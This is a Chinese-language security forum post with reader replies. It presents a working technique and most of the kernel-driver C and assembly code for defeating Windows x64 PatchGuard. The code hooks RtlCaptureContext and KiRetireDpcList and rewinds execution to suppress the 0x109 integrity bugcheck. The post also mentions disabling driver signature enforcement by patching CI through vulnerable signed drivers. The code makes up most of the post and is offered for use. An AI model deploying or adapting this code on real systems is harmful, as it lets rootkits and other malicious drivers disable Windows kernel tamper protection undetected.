首页
论坛
专栏
课程

[系统底层] [分享]老文章系列:过Patchguard的梗

2014-4-30 04:28 29107

[系统底层] [分享]老文章系列:过Patchguard的梗

2014-4-30 04:28
29107
  这里我研究的问题只有Patchguard怎么让丫去死,至于DSE这种东西,随便找个过时的有任意代码执行问题的驱动(比如DCR,VBOX,金山某士)去Patch一下CI就可以了。今天我也不是来跟人分享VMX或者patch文件那些无功夫的过PG手法。
  我今天要做的是继续以前老外的pg的梗(由于我的笔记本跑win8不能10秒开机,所以只能用win7来撸)。
  老外有几篇关于PG攻击的文章:
  http://www.mcafee.com/in/resources/reports/rp-defeating-patchguard.pdf
  http://www.uninformed.org/?v=3&a=3&t=sumry
  http://www.uninformed.org/?v=8&a=5&t=sumry
  http://www.zer0mem.sk/?p=271
  
  不过统统不能解决真正的问题,最后一个连接除外。不过其中的分析让我们知道两件事儿,第一件事儿是PG的蓝屏是通过DPC或者TIMER调用KeBugCheckEx来的。第二件事儿是PG调用KeBugCheckEx的时候,会恢复KeBugCheckEx上的修改。
  通过读老外的文章我们知道通过DPC来的必须经过KiRetireDpcList这个玩意才能到达蓝屏(而通过TIMER来的经过的函数比较奇怪,这里也不想管他)。
  老外有一个思路就是hook KeBugCheckEx来处理TIMER的PG引发的0x109蓝屏,但是因为KeBugCheckEx有恢复hook的可能(新的PG是复制了BugCheck的代码),所以我选择了一个KeBugCheckEx内部的调用的函数来进行挂钩,然后通过堆栈读出RCX判断一下错误号,这个调用函数也是老外早就提供好的就是RtlCaptureContext。
  
  到这里我都和老外的思路近似,之后后面就不一样了。我只有2个hook点,我不想判断DPC是不是PG的,也不研究线程TIMER的枚举,我直接在KiRetireDpcList这里保存运行环境(CONTEXT),然后继续调用KiRetireDpcList代码,然后保存的恢复运行环境(RIP修好)。
  如果发生了0x109蓝屏,那么经过我挂钩的RtlCaptureContext时,我主动插入一个DPC到DPC链条去,然后恢复保存的CONTEXT到Call KiRetireDpcList处的去重新执行的话(也就是说,把时光倒流了),这时候PG就无法蓝屏了。但是这里有一个小问题,如果来自线程TIMER的PG蓝屏,则不能开蜘蛛的大招 回到过去 去Pass掉TIMER。不过windows的机制让我知道如果在pg的timer里的时候,IRQL应该是PASSIVE级别的,在PASSIVE级别的话,可以将整个执行流程跳入线程开始去直接运行(这点是老外的资料里发现然后结合windbg调试出来的)。
  
  那么我绕过PG的工具设计思路就是:
//有2个hook点!
//RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
//											-->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
//																		-->如果IRQL是PASSIVE,则CallPointer去
//																		-->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
//KiRetireDpcList -->保存环境-->原始-->还原环境
//


处理PG的主逻辑核心代码:hook库请自行准备了,至于KiRetireDpcList的定位,我是用符号文件定位的,其实也可以通过注册一个DPC去做回溯得到。
#include "stdafx.h"

typedef struct _HOOK_CTX
{
	ULONG64 rax;                  
	ULONG64 rcx;
	ULONG64 rdx;                 
	ULONG64 rbx;                
	ULONG64 rbp;
	ULONG64 rsi;                  
	ULONG64 rdi;
	ULONG64 r8;                   
	ULONG64 r9;
	ULONG64 r10;                  
	ULONG64 r11;
	ULONG64 r12;                  
	ULONG64 r13;
	ULONG64 r14;                  
	ULONG64 r15;
	ULONG64 Rflags;
	ULONG64 rsp;
}HOOK_CTX,*PHOOK_CTX;



typedef VOID (*TRtlCaptureContext)(PCONTEXT ContextRecord);

extern VOID AdjustStackCallPointer(
	IN ULONG_PTR NewStackPointer,
	IN PVOID StartAddress,
	IN PVOID Argument);

extern CHAR GetCpuIndex();
extern VOID HookKiRetireDpcList();
extern VOID HookRtlCaptureContext();
extern VOID BackTo1942();
static ULONG g_ThreadContextRoutineOffset = 0;
static ULONG64 g_KeBugCheckExAddress=0;
static UINT g_MaxCpu=0;

KDPC  g_TempDpc[0x100];
ULONG64 g_CpuContextAddress=0;
ULONG64 g_KiRetireDpcList=0;

//有2个hook点!
//RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
//											-->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
//																		-->如果IRQL是PASSIVE,则CallPointer去
//																		-->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
//KiRetireDpcList -->保存环境-->原始-->还原环境
//
//
//
//
HOOK_INFO OrgRtlCaptureContext;
HOOK_INFO OrgKiRetireDpcList;
//真心刁!
VOID
	PgTempDpc(
	IN struct _KDPC *Dpc,
	IN PVOID DeferredContext,
	IN PVOID SystemArgument1,
	IN PVOID SystemArgument2
	)
{
	return ;
}
VOID OnRtlCaptureContext(PHOOK_CTX hookCtx)
{ 
	ULONG64 Rcx;
	PCONTEXT pCtx = (PCONTEXT)(hookCtx->rcx);
	ULONG64 Rip = *(ULONG64 *)(hookCtx->rsp);
	TRtlCaptureContext OldRtlCaptureContext;
	OldRtlCaptureContext = (TRtlCaptureContext)OrgRtlCaptureContext.Bridge;

	OldRtlCaptureContext(pCtx);

	pCtx->Rsp = hookCtx->rsp+0x08;
	pCtx->Rip = Rip;
	pCtx->Rax = hookCtx->rax;
	pCtx->Rbx = hookCtx->rbx;
	pCtx->Rcx = hookCtx->rcx;
	pCtx->Rdx = hookCtx->rdx;
	pCtx->Rsi = hookCtx->rsi;
	pCtx->Rdi = hookCtx->rdi;
	pCtx->Rbp = hookCtx->rbp;

	pCtx->R8	=	hookCtx->r8;
	pCtx->R9	=	hookCtx->r9;
	pCtx->R10	=	hookCtx->r10;
	pCtx->R11	=	hookCtx->r11;
	pCtx->R12	=	hookCtx->r12;
	pCtx->R13	=	hookCtx->r13;
	pCtx->R14	=	hookCtx->r14;
	pCtx->R15	=	hookCtx->r15;


	Rcx = *(ULONG64 *)(hookCtx->rsp+0x48);
	//一开始存储位置rcx=[rsp+8+30]
	//call之后就是[rsp+8+30+8]
	
	if(Rcx==0x109)
	{
		//PG的蓝屏!
		if (Rip>=g_KeBugCheckExAddress && Rip <=g_KeBugCheckExAddress+0x64)
		{
			
			//来自KeBugCheckEx的蓝屏
			// 先插入一个DPC
			//检测IRQL的级别,如果是DPC_LEVEL的,则传说中的回到过去的技术。
			//如果是普通的,则跳入ThreadContext即可
			PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
			PVOID StartRoutine  = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
			PVOID StackPointer  = IoGetInitialStack();
			CHAR  Cpu = GetCpuIndex();
			KeInitializeDpc(&g_TempDpc[Cpu],
				PgTempDpc,
				NULL);
			KeSetTargetProcessorDpc( &g_TempDpc[Cpu], (CCHAR)Cpu );
			//KeSetImportanceDpc( &g_TempDpc[Cpu], HighImportance);
			KeInsertQueueDpc( &g_TempDpc[Cpu], NULL, NULL );
			if(1){
				//应该判断版本再做这个事儿!
				PCHAR StackPage = (PCHAR)IoGetInitialStack();
				
				*(ULONG64 *)StackPage = (((ULONG_PTR)StackPage+0x1000) & 0x0FFFFFFFFFFFFF000);//stack起始的MagicCode,
				// 如果没有在win7以后的系统上会50蓝屏
			}
			if (KeGetCurrentIrql()!=PASSIVE_LEVEL)
			{
				//时光倒流!
				BackTo1942();//回到call KiRetireDpcList去了!
			}
			//线程TIMER的直接执行线程去!
			AdjustStackCallPointer(
				(ULONG_PTR)StackPointer - 0x8,
				StartRoutine,
				NULL);
		}
	}
	return ;
}
VOID JmpThreadContext()
{
	PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
	PVOID StartRoutine  = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
	PVOID StackPointer  = IoGetInitialStack();

	AdjustStackCallPointer(
		(ULONG_PTR)StackPointer - 0x8,
		StartRoutine,
		NULL);
}

VOID DisablePatchProtectionSystemThreadRoutine(
	IN PVOID Nothing)
{
	PUCHAR         CurrentThread = (PUCHAR)PsGetCurrentThread();
	for (g_ThreadContextRoutineOffset = 0;
		g_ThreadContextRoutineOffset < 0x1000;
		g_ThreadContextRoutineOffset += 4)
	{
		if (*(PVOID **)(CurrentThread +
			g_ThreadContextRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine)
			break;
	}

	if (g_ThreadContextRoutineOffset<0x1000)
	{
		g_KeBugCheckExAddress = (ULONG64)GetCALLByName(L"KeBugCheckEx");
		
		g_MaxCpu = (UINT)KeNumberProcessors;

		g_CpuContextAddress = (ULONG64)ExAllocatePool(NonPagedPool,0x200*g_MaxCpu+0x1000);

		if (!g_CpuContextAddress)
		{
			return ;
		}
		
		

		RtlZeroMemory(g_TempDpc,sizeof(KDPC)*0x100);
		RtlZeroMemory((PVOID)g_CpuContextAddress,0x200 * g_MaxCpu);


		HookFunction(pCfgData->_KiRetireDpcList,(ULONG_PTR)HookKiRetireDpcList,&OrgKiRetireDpcList);
		
		g_KiRetireDpcList = (ULONG64)(OrgKiRetireDpcList.Bridge);

		HookFunction((ULONG_PTR)GetCALLByName(L"RtlCaptureContext"),(ULONG_PTR)HookRtlCaptureContext,&OrgRtlCaptureContext);
	}
}

NTSTATUS DisablePatchProtection() {
	OBJECT_ATTRIBUTES Attributes;
	NTSTATUS          Status;
	HANDLE            ThreadHandle = NULL;

	InitializeObjectAttributes(
		&Attributes,
		NULL,
		OBJ_KERNEL_HANDLE,
		NULL,
		NULL);


	Status = PsCreateSystemThread(
		&ThreadHandle,
		THREAD_ALL_ACCESS,
		&Attributes,
		NULL,
		NULL,
		DisablePatchProtectionSystemThreadRoutine,
		NULL);

	if (ThreadHandle)
		ZwClose(
		ThreadHandle);

	return Status;
}
VOID InitDisablePatchGuard()
{
	DisablePatchProtection();
}


汇编代码部分:
EXTERN g_CpuContextAddress:QWORD;
EXTERN OnRtlCaptureContext:PROC;
EXTERN g_KiRetireDpcList:QWORD;

.CODE
public AdjustStackCallPointer
AdjustStackCallPointer PROC
    mov rsp, rcx
    xchg r8, rcx
    jmp rdx
AdjustStackCallPointer ENDP

public GetCpuIndex
GetCpuIndex PROC
	mov     al, gs:[52h]
	movzx   eax, al
	ret
GetCpuIndex ENDP


public RestoreCpuContext
RestoreCpuContext PROC
				 push    rax
				 sub     rsp, 20h
                 call    GetCpuIndex
                 add     rsp, 20h
                 mov     r11, 170h
                 mul     r11
                 mov     r11, rax
                 add     r11, g_CpuContextAddress
                 pop     rax
                 mov     rsp, [r11+48h]
                 mov     rbx, [r11+40h]
                 mov     [rsp+0], rbx
                 movdqa  xmm0, xmmword ptr [r11+50h]
				 movdqa  xmm1, xmmword ptr [r11+60h]
                 movdqa  xmm2, xmmword ptr [r11+70h]
                 movdqa  xmm3, xmmword ptr [r11+80h]
                 movdqa  xmm4, xmmword ptr [r11+90h]
                 movdqa  xmm5, xmmword ptr [r11+0A0h]
                 movdqa  xmm6, xmmword ptr [r11+0B0h]
                 movdqa  xmm7, xmmword ptr [r11+0C0h]
                 movdqa  xmm8, xmmword ptr [r11+0D0h]
                 movdqa  xmm9, xmmword ptr [r11+0E0h]
                 movdqa  xmm10, xmmword ptr [r11+0F0h]
                 movdqa  xmm11, xmmword ptr [r11+100h]
                 movdqa  xmm12, xmmword ptr [r11+110h]
                 movdqa  xmm13, xmmword ptr [r11+120h]
				 movdqa  xmm14, xmmword ptr [r11+130h]
				 movdqa  xmm15, xmmword ptr [r11+140h]
				 mov     rbx, [r11]
                 mov     rsi, [r11+8]
                 mov     rdi, [r11+10h]
                 mov     rbp, [r11+18h]
                 mov     r12, [r11+20h]
                 mov     r13, [r11+28h]
                 mov     r14, [r11+30h]
                 mov     r15, [r11+38h]
                 mov     rcx, [r11+150h]
                 mov     rdx, [r11+158h]
                 mov     r8, [r11+160h]
                 mov     r9, [r11+168h]
                 ret
RestoreCpuContext ENDP

public BackTo1942
BackTo1942 PROC
				 sub     rsp, 20h ;时光倒流
                 call    GetCpuIndex
                 add     rsp, 20h
                 mov     r11, 170h
                 mul     r11
                 mov     r11, rax
                 add     r11, g_CpuContextAddress
                 mov     rax, [r11+40h]
                 sub     rax, 5
                 mov     [r11+40h], rax  ; 这里直接RIP=RIP-5,也就是回到Call KiXX的5字节指令
                 jmp     RestoreCpuContext
BackTo1942 ENDP

public HookKiRetireDpcList
HookKiRetireDpcList PROC
                 push    rcx
                 push    rdx
                 push    r8
                 push    r9
                 sub     rsp, 20h
                 call    GetCpuIndex
                 add     rsp, 20h
                 pop     r9
                 pop     r8
                 pop     rdx
                 pop     rcx
                 mov     r11, 170h
                 mul     r11
                 add     rax, g_CpuContextAddress ; RAX = g_CpuContext[CpuIndex]
                 mov     [rax], rbx
                 mov     [rax+8], rsi
                 mov     [rax+10h], rdi
                 mov     [rax+18h], rbp
                 mov     [rax+20h], r12
                 mov     [rax+28h], r13
                 mov     [rax+30h], r14
                 mov     [rax+38h], r15
                 movdqa  xmmword ptr [rax+50h], xmm0
                 movdqa  xmmword ptr [rax+60h], xmm1
                 movdqa  xmmword ptr [rax+70h], xmm2
                 movdqa  xmmword ptr [rax+80h], xmm3
                 movdqa  xmmword ptr [rax+90h], xmm4
                 movdqa  xmmword ptr [rax+0A0h], xmm5
                 movdqa  xmmword ptr [rax+0B0h], xmm6
                 movdqa  xmmword ptr [rax+0C0h], xmm7
                 movdqa  xmmword ptr [rax+0D0h], xmm8
                 movdqa  xmmword ptr [rax+0E0h], xmm9
                 movdqa  xmmword ptr [rax+0F0h], xmm10
                 movdqa  xmmword ptr [rax+100h], xmm11
                 movdqa  xmmword ptr [rax+110h], xmm12
                 movdqa  xmmword ptr [rax+120h], xmm13
                 movdqa  xmmword ptr [rax+130h], xmm14
                 movdqa  xmmword ptr [rax+140h], xmm15
                 mov     [rax+150h], rcx
                 mov     [rax+158h], rdx
                 mov     [rax+160h], r8
                 mov     [rax+168h], r9
                 mov     r11, [rsp]
                 mov     [rax+40h], r11
                 mov     r11, rsp
                 mov     [rax+48h], r11
				 lea     rax, RestoreCpuContext
				 mov	 [rsp],rax
				 jmp	 g_KiRetireDpcList
HookKiRetireDpcList ENDP

public HookRtlCaptureContext
HookRtlCaptureContext PROC
	push rsp
	pushfq
	push r15
    push r14
    push r13
    push r12
    push r11
    push r10
    push r9
    push r8        
    push rdi
    push rsi
    push rbp
	push rbx
    push rdx
    push rcx
    push rax
	mov rcx,rsp
	sub rsp,28h
	call OnRtlCaptureContext
	add	rsp, 28h	
    pop rax
    pop rcx
    pop rdx
    pop rbx
    pop rbp
    pop rsi
    pop rdi 
    pop r8
    pop r9
    pop r10
    pop r11
    pop r12
    pop r13
    pop r14
    pop r15
	popfq
	pop rsp
	ret
HookRtlCaptureContext ENDP
END


为了防止无意义的抄袭和不思考的代码利用者,这里就不提供完整工程了。

老文章认真读读还是有前途的~



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (58)
cvcvxk 10 2014-4-30 04:51
2
0
仅以此文献给我死去多年的“噬身之蛇”QQ群以及那个被叫做UROBOROS的项目~
neite 2014-4-30 05:46
3
0
Thanks for share
只是一只猫 2014-4-30 07:31
4
0
so great
天行客 2014-4-30 07:35
5
0
我第一次离v大这么近,是个板凳耶
zhuwg 11 2014-4-30 07:49
6
0
movdqa  貌似是SSE指令
还没用过这种高级指令 学习了
ejoyc 2014-4-30 07:54
7
0
v大v5,我等小菜5.1有事干了。3ks
wliupengw 1 2014-4-30 07:59
8
0
V大顶你
viphack 4 2014-4-30 08:07
9
0
看见一个重来没见过的指令 v5
wmg 2014-4-30 08:29
10
0
好东西,学习了~~
fatecaster 1 2014-4-30 08:49
11
0
占座学习
噬身之蛇好像是碧轨psp汉化组的名字,是一个吗。
Arcade 2014-4-30 09:21
12
0
4点。。。大牛都不用睡觉的吗?   膜拜
JingSao 2014-4-30 09:21
13
0
大部分都看不懂,,,,,,
ugvjewxf 2014-4-30 09:24
14
0
这种文章,这种作者,无条件顶起,,,,,,,,这么好的文章是不是要交点稿费呀
justlovemm 2014-4-30 09:36
15
0
看不懂啊,已经对windows无爱了。
caolinkai 2014-4-30 09:40
16
0
V神就是牛逼,但要注意身体啊。、
Morgion 1 2014-4-30 09:57
17
0
噬身之蛇....好吧
安于此生 34 2014-4-30 10:12
18
0
老V霸气侧漏哇,4点钟还在搞
AJISky 7 2014-4-30 10:15
19
0
“噬身之蛇”是不是”大蛇丸“的代号?
小阿弟 2014-4-30 10:19
20
0
老V,给我感觉就像<来自星星的你>。。。。
layerfsd 4 2014-4-30 10:55
21
0
2003 x64不能使用,其他就不试了
OXFFFFFFFE 2014-4-30 11:19
22
0
21楼。。。。。。。。。。。
对你何止爱 2014-4-30 13:25
23
0
大部分都看不懂
cvcvxk 10 2014-4-30 13:40
24
0
2003 x64的汇编代码有点区别,另外说句,你用的代码和这里的代码有好多行不一样的~
这个代码2003里不出PG蓝屏只出1E的~
mvpdz 2014-4-30 13:51
25
0
这就是传说中的天书么
tangwenbin 1 2014-4-30 14:22
26
0
能不能来点猛料?
cvcvxk 10 2014-4-30 16:04
27
0
这已经够猛了~再猛就不是老文章了~
安于此生 34 2014-4-30 16:11
28
0
支持老V出新文章系列  
一缕忧伤 2014-4-30 16:19
29
0
支持V大,大晚上还过来给大家share技术贴。。。
topofall 2014-4-30 21:09
30
0
支持,支持。。。。。
AioliaSky 1 2014-4-30 21:27
31
0
路过来围观一下
michaellch 2014-4-30 22:03
32
0
膜拜大神!什么时候才能有大神现在的一半水平
誓言剑 2014-5-1 10:53
33
0
大致看了一下,也就是说楼主这个办法是在PG启动之后也可以过掉的咯?
想搞Windows RT的越狱,过PG是很重要的一环...
cvcvxk 10 2014-5-1 16:26
34
0
PG启动前干PG太简单了~
PG启动后干PG才爽~
誓言剑 2014-5-1 21:36
35
0
先谢过了,我回头再慢慢看看
rqqeq 2014-5-1 22:34
36
0
Windows RT越狱已经有人搞出来了……
静态不难……直接添加个启动项即可,然后把初始化函数直接返回成功
不过要特殊winload.exe
不然不能正常启动
cvcvxk 10 2014-5-1 22:40
37
0
没那么复杂~不是改一下CI么?
rqqeq 2014-5-1 22:45
38
0
CI不是动态干死签名用的么
那玩意一毛钱不值的烂大街的货……
关键是谁舍得放签名
cvcvxk 10 2014-5-1 23:00
39
0
Windows RT不是限制非windows那个softXX的签名不能安装和运行么?
越狱就是把丫级别撸没就行了吧,还需要其他的手法??
誓言剑 2014-5-1 23:00
40
0
这是8.1能用的么?
XDA上没这个的消息啊
cvcvxk 10 2014-5-1 23:04
41
0
不懂...太高深了~

ARM版的winRT?
还是surface的?
xtptvvvv 2014-5-1 23:06
42
0
大神你好,请问你发的源码能在8和8.1上用吗?
誓言剑 2014-5-1 23:21
43
0
Windows RT操作系统,不是WinRT框架
rqqeq 2014-5-2 13:17
44
0
CI没驱动咋撸掉。。。。直接撸文件太没水准
哦,要是HOT-PATCH CI又得破解pg……
这这……
rqqeq 2014-5-2 13:18
45
0
人家又不2。。。怎么可能。。。。
拿钱买吧。。
xtptvvvv 2014-5-2 18:32
46
0
谢谢大神。
指纹好学 2014-5-2 21:57
47
0
蚂蚁大招吧。。。
vvLinker 2014-5-3 21:13
48
0
v校一整就看不懂
guobing 2014-5-7 15:47
49
0
UROBOROS 是那个snake?  里面的Patchguard 是利用VirtualBox.
cvcvxk 10 2014-5-7 19:49
50
0
vbox是过DSE用的~
游客
登录 | 注册 方可回帖
返回